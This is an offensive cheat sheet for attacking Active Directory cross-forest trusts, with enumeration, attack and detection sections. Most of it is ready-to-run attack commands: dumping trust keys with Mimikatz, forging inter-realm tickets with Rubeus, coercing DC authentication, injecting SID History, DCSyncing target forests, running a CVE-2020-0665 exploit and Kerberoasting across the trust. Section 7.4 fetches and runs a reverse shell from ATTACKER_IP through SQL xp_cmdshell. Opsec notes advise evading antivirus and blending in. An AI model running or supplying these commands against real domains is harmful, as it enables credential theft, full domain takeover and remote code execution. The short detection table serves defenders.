| Trust Type | Direction | Notes |
|---|---|---|
| One-way (outgoing) | A → B | Users from A can access resources in B |
| One-way (incoming) | B → A | Users from B can access resources in A |
| Two-way (bidirectional) | A ↔ B | Both sides can access each other |
| External Trust | Domain-level | Non-transitive, between domains only |
| Forest Trust | Forest-level | Can be transitive within a forest |
🧠 Key Components
| Component | Role |
|---|---|
| TDO (Trusted Domain Object) | Stores trust metadata (SIDs, namespaces, trust key) |
| Trust Key | Shared secret between forests; used to sign/encrypt inter-forest tickets |
| SID Filtering | Strips foreign SIDs from tickets to prevent privilege escalation |
| Kerberos Referral | Routes ticket requests across forests via referral chain |
| SIDHistory | Attribute used during migrations; can carry SIDs from another domain |
1. Enumeration — Forest Trust Mapping
What it means: Before attacking, you must map what trusts exist, which direction they flow, and what objects are accessible across the boundary. BloodHound makes this visual; PowerView gives raw data.
1.1 Enumerate with PowerView
# List all domain trusts
Get-DomainTrust
# List only cross-forest trusts
Get-DomainTrust | Where-Object { $_.TrustType -eq 'Forest' }
# Get full forest trust map (follows all trust chains)
Get-DomainTrustMapping
# Enumerate trusts in a specific domain
Get-DomainTrust -Domain target.local
# Get forest-level trust info
Get-ForestTrust
# Get all domain controllers in trusted forest
Get-DomainController -Domain target.local
# Get all users in the trusted domain
Get-DomainUser -Domain target.local
# Get all groups in the trusted domain
Get-DomainGroup -Domain target.local
# Get all computers in the trusted domain
Get-DomainComputer -Domain target.local
1.2 Enumerate with AD Module (built-in)
# All trusts
Get-ADTrust -Filter *
# Cross-forest only
Get-ADTrust -Filter 'IntraForest -ne $true'
# Check trust attributes (SID filtering, TGT delegation)
Get-ADTrust -Filter * -Properties TrustAttributes | Select Name, TrustDirection, TrustAttributes
# TrustAttributes key values:
# 0x4 = QUARANTINED_DOMAIN (SID Filtering ON)
# 0x8 = FOREST_TRANSITIVE (Forest Trust)
# 0x200 = CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (⚠️ dangerous)
1.3 Enumerate with BloodHound
# Linux — collect all data
bloodhound-python -u attacker -p 'Pass123!' -d lab.local \
-dc dc01.lab.local -c All --zip
# Or from Windows with SharpHound
.\SharpHound.exe -c All --zipfilename output.zip
In BloodHound, check for: - CrossForestTrust edges between forests - AbuseTGTDelegation — exploitable delegation across forest - SpoofSIDHistory — SID filtering is disabled - Shortest paths from your current user to Domain Admin of target forest
1.4 Enumerate with netdom / nltest (built-in Windows)
:: List all trusted domains
netdom query trust
:: Verify trust from DC side
nltest /domain_trusts /all_trusts
:: Check trust with specific domain
nltest /sc_verify:target.local
2. Attacking Cross Forest Trusts
What it means: The trust itself is the attack surface — authentication flows from one forest to another through Kerberos referrals. The goal is to abuse the trust direction to impersonate users, access resources, or extract credentials from the trusted forest. Attacks depend on trust direction and what protections are (or aren't) enabled.
2.1 Check Trust Direction (Critical First Step)
# The TargetName is the OTHER forest, Direction tells you what you can reach
Get-DomainTrust | Select SourceName, TargetName, TrustDirection, TrustAttributes
# TrustDirection values:
# Inbound → They trust us. We can access THEIR resources.
# Outbound → We trust them. They can access OUR resources.
# Bidirectional → Both.
2.2 Enumerate Groups in Trusted Forest
# Get all groups accessible in the trusted forest
Get-DomainGroup -Domain target.local | Select name
# Check members of a high-value group
Get-DomainGroupMember -Identity "Domain Admins" -Domain target.local -Recurse
# Find users from our forest who are in target forest groups
Get-DomainForeignGroupMember -Domain target.local
2.3 Enumerate Users & Sensitive Accounts
# All users in target forest
Get-DomainUser -Domain target.local | Select samaccountname, description, memberof
# Find DA accounts in target
Get-DomainGroupMember -Identity "Domain Admins" -Domain target.local
# Find accounts with SPN (Kerberoastable) in target forest
Get-DomainUser -SPN -Domain target.local | Select SamAccountName, ServicePrincipalName
3. Trust Account Attack
What it means: Every forest trust uses a trust account (a special machine-like account ending
in $) and a trust key (shared secret). If you are DA in the source forest, you can dump this
trust key and use it to forge tickets that appear to come from the trusted forest, without needing
any credentials from that forest.
3.1 Dump Trust Keys with Mimikatz / SafetyKatz [DA]
:: Mimikatz — dump all trust keys
mimikatz.exe "lsadump::trust /patch" exit
:: SafetyKatz (safer, less AV detection)
SafetyKatz.exe "lsadump::trust /patch"
:: Look for output like:
:: [ In ] lab.local -> target.local
:: * aes256_hmac: <AES_KEY>
:: * rc4_hmac_nt : <RC4_KEY> ← use this as /rc4 in ticket forging
# Linux alternative — dump trust secrets from DC via DCSync
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc -just-dc-user 'TARGET$'
# The NTLM hash of the trust account IS the inter-realm trust key
3.2 Forge Inter-Realm TGT (Trust Ticket)
:: With the RC4 trust key, forge a ticket to move into the target forest
:: Replace SID with a high-priv group SID from target forest (RID > 1000 to bypass filter)
:: Get target domain SID first
Get-DomainSID -Domain target.local
:: Output: S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX
:: Forge the ticket with Rubeus
Rubeus.exe silver /user:Administrator /ldap ^
/service:krbtgt/TARGET.LOCAL ^
/rc4:<trust_key_NTLM> ^
/sids:S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-<RID> ^
/nowrap
⚠️ Opsec Note: Using
/sidswith RID < 1000 (e.g., 512 = Domain Admins) will be blocked by SID Filtering. Use a custom group with RID > 1000. See Section 10 for ExtraSids.
4. Unconstrained Delegation — Cross Forest
What it means: If a server in Forest A has Unconstrained Delegation and a user from Forest B authenticates to it, their TGT is cached in memory on that server. If you control that server, you can extract the TGT and impersonate the user in Forest B. This is dangerous when forest admins authenticate to services across the trust boundary.
4.1 Find Unconstrained Delegation Servers
# Find computers in your forest with unconstrained delegation
Get-DomainComputer -Unconstrained | Select name, dnshostname
# Confirm it's not a DC (DCs always have unconstrained delegation — that's normal)
Get-DomainComputer -Unconstrained | Where-Object { $_.name -notlike "*DC*" }
4.2 Wait/Coerce Target Forest Admin to Authenticate [DA]
# Force authentication from target DC using PrinterBug (SpoolSample)
# This makes the DC authenticate back to our unconstrained server
SpoolSample.exe <TARGET_DC> <OUR_UNCONSTRAINED_SERVER>
# Or use PetitPotam
PetitPotam.py -u '' -p '' <OUR_UNCONSTRAINED_SERVER> <TARGET_DC>
# Or Coercer (multi-protocol coercion)
python3 Coercer.py coerce -l <OUR_UNCONSTRAINED_SERVER> -t <TARGET_DC> \
-u attacker -p 'Pass123!' -d lab.local
4.3 Extract the TGT from Memory [DA]
:: On the unconstrained delegation server, run as DA:
Rubeus.exe monitor /interval:5 /nowrap
:: Wait for the TARGET$ DC TGT to appear in the output
:: Or use Mimikatz
mimikatz.exe "sekurlsa::tickets /export" exit
:: Look for tickets from target.local
:: Import the captured TGT
Rubeus.exe ptt /ticket:<base64_ticket>
4.4 Use the TGT to DCSync the Target Forest
# After passing the ticket, run DCSync against target forest
secretsdump.py -k -no-pass target.local/dc02$@dc02.target.local -just-dc
# Or with the exported .kirbi file
Rubeus.exe ptt /ticket:dc02.target.local.kirbi
mimikatz.exe "lsadump::dcsync /domain:target.local /user:Administrator" exit
5. SID History Injection Attack
What it means: SIDHistory is an AD attribute that holds extra SIDs, originally designed for
account migration. When a user authenticates, ALL SIDs (including SIDHistory) are included in
their Kerberos PAC. If SID Filtering is disabled, an attacker can inject a privileged SID
(like Domain Admins = S-1-5-21-...-512) from the target forest into a user's SIDHistory in the
source forest — granting them those privileges when accessing the target forest.
5.1 Check if SID Filtering is Disabled
# If TrustAttributes does NOT include FILTER_SIDS (0x4), SID filtering is off
Get-DomainTrust -Domain target.local | Select TargetName, TrustAttributes
# Numeric check
Get-ADTrust -Filter * -Properties TrustAttributes |
Select Name, @{n='SIDFilteringOff';e={($_.TrustAttributes -band 0x4) -eq 0}}
5.2 Get Target Forest Domain SID
# Get the SID of Domain Admins in target forest
Get-DomainGroup -Identity "Domain Admins" -Domain target.local | Select ObjectSID
# Example: S-1-5-21-210670767-2521448726-163245707-512
5.3 Inject SID History with Mimikatz [DA]
:: Must be DA in source domain and run on the DC
mimikatz.exe "privilege::debug" "sid::patch" ^
"sid::add /sam:attacker_user /new:S-1-5-21-210670767-2521448726-163245707-512" exit
:: Verify the injection worked
Get-ADUser attacker_user -Properties SIDHistory | Select SIDHistory
5.4 Authenticate to Target Forest and Use Privileges
# Get a TGT as attacker_user (who now has DA SID in SIDHistory)
getTGT.py lab.local/attacker_user:Pass123! -dc-ip <SOURCE_DC_IP>
export KRB5CCNAME=attacker_user.ccache
# Access target forest resources — the SIDHistory SID grants you DA
smbclient.py -k -no-pass //dc02.target.local/C$
secretsdump.py -k -no-pass target.local/attacker_user@dc02.target.local
⚠️ Detection: Event ID 4765 (SIDHistory added) and 4766 (SIDHistory add failed) are logged on the DC. Monitoring for these events detects this attack.
6. SID Filter Bypass — CVE-2020-0665
What it means: This vulnerability affects forest trusts where
CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x200) is set on the trust attributes. It allows an
attacker in the trusting forest to request TGT delegation for an account in the trusted forest,
effectively bypassing SID filtering under certain conditions. Requires unpatched DCs.
6.1 Check if the Trust is Vulnerable
# Check TrustAttributes — value 0x200 = TGT delegation enabled = vulnerable
Get-ADTrust -Filter * -Properties TrustAttributes |
Select Name, @{n='TGTDelegation';e={($_.TrustAttributes -band 0x200) -ne 0}}
# If TGTDelegation = True → potentially vulnerable to CVE-2020-0665
In BloodHound (v7.4+), look for AbuseTGTDelegation edges on cross-forest nodes.
6.2 Exploit
# CVE-2020-0665 PoC (GitHub: gunzf0x/CVE-2020-0665)
git clone https://github.com/gunzf0x/CVE-2020-0665
cd CVE-2020-0665
# The exploit requests a delegated TGT for a target account across the trust
python3 cve-2020-0665.py -u attacker -p 'Pass123!' \
-d lab.local -dc-ip <SOURCE_DC_IP> \
-target-domain target.local \
-target-user Administrator
6.3 Patch / Mitigation
# Disable TGT delegation on the trust (PowerShell — run as DA)
netdom trust lab.local /d:target.local /enableTgtDelegation:No
# Or via AD Sites and Services → remove the EnableTGTDelegation flag
# MS Patch: KB4490435
7. Abusing SQL Server Links
What it means: SQL Server linked servers allow one SQL instance to execute queries on another. In AD environments, linked servers often follow trust boundaries — a SQL server in Forest A may have a link to a SQL server in Forest B. If the link uses a high-privileged account, you can chain queries across the link to execute OS commands on the remote forest. No direct AD trust abuse needed.
7.1 Discover SQL Servers
# PowerUpSQL — discover SQL servers via SPN enumeration
Import-Module .\PowerUpSQL.ps1
# Find all SQL servers in the domain
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Find SQL servers in the trusted forest too
Get-SQLInstanceDomain -DomainController dc02.target.local -Username target\attacker -Password Pass123!
7.2 Enumerate SQL Links
# Check linked servers on a specific instance
Get-SQLServerLink -Instance dc01.lab.local -Verbose
# Crawl the full link chain (follow all links recursively)
Get-SQLServerLinkCrawl -Instance dc01.lab.local -Verbose
7.3 Execute Commands via Linked Server Chain
# Execute OS command on the linked server in target forest
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
-Query "exec master..xp_cmdshell 'whoami'"
# Enable xp_cmdshell if it's off (requires sysadmin on link)
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
-Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure') AT [target-sql.target.local]"
# Then execute
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
-Query "EXECUTE('exec master..xp_cmdshell ''whoami''') AT [target-sql.target.local]"
7.4 Get Reverse Shell via SQL Link
# Host a PowerShell reverse shell on your attacker box first
# python3 -m http.server 8080
# Trigger download & exec via xp_cmdshell through the link
Get-SQLServerLinkCrawl -Instance dc01.lab.local \
-Query "EXECUTE('exec master..xp_cmdshell ''powershell -c IEX(New-Object Net.WebClient).DownloadString(''''http://ATTACKER_IP:8080/shell.ps1'''')'') AT [target-sql.target.local]"
⚠️ Opsec Note:
xp_cmdshellexecution is logged in SQL audit logs. UseEXECUTE ASor link impersonation where possible to blend in.
8. Abusing Foreign Security Principals & ACLs
What it means: In AD, users from a trusted forest can be added to local domain groups in the trusting forest as Foreign Security Principals (FSPs). These are placeholder objects with the external user's SID. If a foreign user is in a high-privilege group (like local Admins, Backup Operators, etc.), and you compromise that user in their home forest, you inherit those privileges in the target forest.
8.1 Enumerate Foreign Security Principals
# Find FSP objects in the current domain
Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"} |
Select DistinguishedName, objectSid
# PowerView — find foreign group members
Get-DomainForeignGroupMember -Domain target.local
# Find foreign users (from another domain/forest) in local groups
Find-ForeignUser -Verbose
Find-ForeignGroup -Verbose
# Cross-check: find what groups foreign users belong to
Get-DomainGroupMember -Identity "Administrators" -Domain target.local |
Where-Object {$_.MemberDomain -ne "target.local"}
8.2 Find ACLs Granted to Foreign Users
# Find interesting ACLs where the principal is from another forest
Find-InterestingDomainAcl -ResolveGUIDs -Domain target.local |
Where-Object { $_.IdentityReferenceDomain -ne "target.local" }
# BloodHound — import both forest datasets and look for cross-domain edges
# Edges to look for: GenericAll, WriteDACL, DCSync from foreign principals
8.3 Exploit If You Own a Foreign User
# If LABFOREST\bob is a member of target.local\Administrators
# And you compromised bob's credentials:
# Lateral movement to target forest DC
Enter-PSSession -ComputerName dc02.target.local \
-Credential (Get-Credential lab.local\bob)
# Or via CrackMapExec
crackmapexec smb dc02.target.local -u lab\\bob -p 'Pass123!'
# Dump hashes on target DC
secretsdump.py lab.local/bob:Pass123!@dc02.target.local
9. Abusing PAM Trusts
What it means: Microsoft's Privileged Access Management (PAM) uses a bastion/shadow forest — a separate, hardened AD forest — to manage privileged access to the production forest via a one-way trust. Access is time-limited and granted through shadow groups. If the bastion forest is compromised, or the trust is misconfigured, the production forest is directly exposed.
9.1 Detect PAM Trust
# PAM trusts have a specific attribute: PAM_ENABLED (TrustAttributes bit 0x800)
Get-ADTrust -Filter * -Properties TrustAttributes |
Select Name, @{n='PAMEnabled';e={($_.TrustAttributes -band 0x800) -ne 0}}
# Check if the trust is a shadow principal setup
Get-ADObject -SearchBase "CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=bastion,DC=local" \
-Filter * -Properties *
9.2 Enumerate Shadow Principals and Memberships
# Shadow principals in bastion forest mirror privileged groups in prod forest
# Find the shadow group mappings
Get-ADObject -Filter {objectClass -eq "msDS-ShadowPrincipal"} -Properties *
# PowerView — check what groups a bastion user is member of in prod forest
Get-DomainGroupMember -Identity "Domain Admins" -Domain prod.local |
Where-Object { $_.MemberDomain -eq "bastion.local" }
9.3 Exploit: If Bastion Forest is Compromised [DA]
# If you're DA in bastion forest and PAM trust exists to prod forest:
# The bastion DA effectively inherits privileged access to prod forest
# Enumerate all prod forest resources accessible from bastion
Get-DomainTrust -Domain bastion.local
Get-DomainUser -Domain prod.local # reachable via PAM trust
# Access prod forest DC as Shadow Principal DA
Enter-PSSession -ComputerName dc.prod.local -Credential bastion.local\shadow_admin
# Dump prod forest hashes
secretsdump.py bastion.local/shadow_admin:Pass123!@dc.prod.local -just-dc
⚠️ Why This Matters: The PAM bastion forest is meant to be more secure than production. If it falls, the attacker gains time-limited but real privileged access to prod. In CTFs, look for misconfigured shadow principals or weak bastion forest passwords.
10. ExtraSids Attack — Inter-Forest TGT Forging
What it means: This is the gold-standard cross-forest privilege escalation. If you are DA in the source forest and can dump the inter-realm trust key, you can forge a TGT with extra SIDs from the target forest embedded in the ticket. When the target forest DC validates this ticket, it sees the injected SIDs and grants the corresponding privileges — even though those SIDs belong to the target forest.
Requirement: SID Filtering must be disabled, or you must target a custom group with RID > 1000 (which SID Filtering does NOT strip by default).
10.1 Step 1 — Dump Trust Key [DA]
:: On the source domain DC, run as Domain Admin
mimikatz.exe "lsadump::trust /patch" exit
:: Or dump via secretsdump
:: secretsdump.py -just-dc-user 'TARGET$' lab.local/da_user:Pass123!@<DC_IP>
:: Note these values from output:
:: [ In ] lab.local -> target.local
:: RC4: <trust_key_RC4> ← use as /rc4
:: AES256: <trust_key_AES> ← use as /aes256
10.2 Step 2 — Get Target Forest Group SID
# Get SID of a group in the target forest (use custom group, RID > 1000)
Get-DomainGroup -Identity "TargetCustomAdmins" -Domain target.local | Select ObjectSID
# Example: S-1-5-21-210670767-2521448726-163245707-1103
# If SID filtering is fully off, you can use Enterprise Admins SID:
# S-1-5-21-<TARGET_DOMAIN_SID>-519
10.3 Step 3 — Forge the Inter-Realm Ticket with Rubeus
:: Forge using RC4 trust key
Rubeus.exe silver /user:Administrator /ldap ^
/service:krbtgt/TARGET.LOCAL ^
/rc4:<trust_key_RC4> ^
/domain:LAB.LOCAL ^
/sids:S-1-5-21-210670767-2521448726-163245707-1103 ^
/nowrap
:: Or with AES256 key (stealthier)
Rubeus.exe silver /user:Administrator /ldap ^
/service:krbtgt/TARGET.LOCAL ^
/aes256:<trust_key_AES256> ^
/domain:LAB.LOCAL ^
/sids:S-1-5-21-210670767-2521448726-163245707-1103 ^
/nowrap
10.4 Step 4 — Use the Ticket to Request a TGS in Target Forest
:: Pass the forged inter-realm TGT, then request a service ticket
Rubeus.exe asktgs /service:cifs/dc02.target.local ^
/dc:dc02.target.local ^
/ptt ^
/ticket:<base64_ticket_from_step3>
:: Verify ticket is in memory
Rubeus.exe klist
10.5 Step 5 — Access Target Forest Resources
:: List target DC file system
dir \\dc02.target.local\C$
:: Run secretsdump across the trust
:: (from Linux with exported ticket)
export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass target.local/Administrator@dc02.target.local
11. Cross-Forest Kerberoasting
What it means: If a trust exists and SPN accounts are visible in the trusted forest, you can request their TGS tickets from the source forest and crack them offline. No special privileges needed — only a valid domain user account in the source forest.
11.1 Enumerate SPN Accounts in Trusted Forest
# PowerView
Get-DomainUser -SPN -Domain target.local |
Select SamAccountName, ServicePrincipalName, MemberOf
# AD Module
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} \
-Properties ServicePrincipalName \
-Server dc02.target.local |
Select SamAccountName, ServicePrincipalName
11.2 Kerberoast Across Trust
# Impacket — cross-forest Kerberoasting
GetUserSPNs.py lab.local/attacker:Pass123! \
-target-domain target.local \
-dc-ip <TARGET_DC_IP> \
-request \
-outputfile cross_forest.hash
# Rubeus (Windows)
Rubeus.exe kerberoast /domain:target.local /dc:dc02.target.local \
/outfile:hash.txt /nowrap
11.3 Crack the Hash
hashcat -m 13100 cross_forest.hash /usr/share/wordlists/rockyou.txt
# With rules for better coverage
hashcat -m 13100 cross_forest.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
12. Scenario Matrix
| Attack | Requirement | SID Filtering Impact | Key Tool |
|---|---|---|---|
| Cross-Forest Kerberoasting | Domain User + Trust | No impact | GetUserSPNs.py, Rubeus |
| Foreign Group Membership | DA in source | No impact | PowerView, Enter-PSSession |
| Trust Account Attack | DA in source | Partial | Mimikatz, Rubeus |
| ExtraSids Attack | DA + Trust Key | Blocked for RID < 1000 | Rubeus, Mimikatz |
| SID History Injection | DA + SID Filter OFF | Completely bypassed | Mimikatz |
| Unconstrained Delegation CF | Control uncon. server | No impact | SpoolSample, Rubeus |
| SID Filter Bypass (CVE-2020-0665) | Unpatched DC | Bypassed | CVE PoC |
| SQL Server Link Abuse | SQL access | No impact | PowerUpSQL |
| PAM Trust Abuse | DA in bastion forest | No impact | native tools |
13. Tool Cheat Sheet
| Tool | Install | Use in Cross-Forest |
|---|---|---|
PowerView.ps1 |
GitHub / PowerSploit | Trust enum, foreign group enum, ACL abuse |
SharpHound / bloodhound-python |
GitHub | Visual attack path mapping |
Rubeus.exe |
GitHub / GhostPack | TGT forging, Kerberoasting, S4U |
Mimikatz / SafetyKatz |
GitHub | Trust key dump, SID injection, DCSync |
secretsdump.py |
Impacket | DCSync, dump hashes via trust |
getST.py |
Impacket | S4U2Self/S4U2Proxy across trust |
getTGT.py |
Impacket | Get TGT for cross-forest user |
PowerUpSQL |
GitHub | SQL link enumeration and abuse |
PetitPotam |
GitHub | Force authentication (coercion) |
SpoolSample |
GitHub | PrinterBug coercion |
Coercer |
pip install coercer |
Multi-protocol auth coercion |
CVE-2020-0665 PoC |
GitHub | SID filter bypass on unpatched DCs |
netdom |
Built-in Windows | Trust verification |
nltest |
Built-in Windows | Trust status checking |
🔵 Detection — Event ID Reference
| Attack | Event ID | Where |
|---|---|---|
| Kerberoasting across trust | 4769 (TGS with RC4) | Target DC |
| SID History injection | 4765, 4766 | Source DC |
| ExtraSids / TGT forging | 4768, 4769 anomalies | Target DC |
| DCSync via trust | 4662 (replication rights used) | Source DC |
| Coercion (PrinterBug/Petit) | 4624 (unexpected machine auth) | Unconstrained server |
| SQL xp_cmdshell | SQL Audit Logs | SQL Server |
| PAM Shadow Group access | 4728, 4756 | Bastion DC |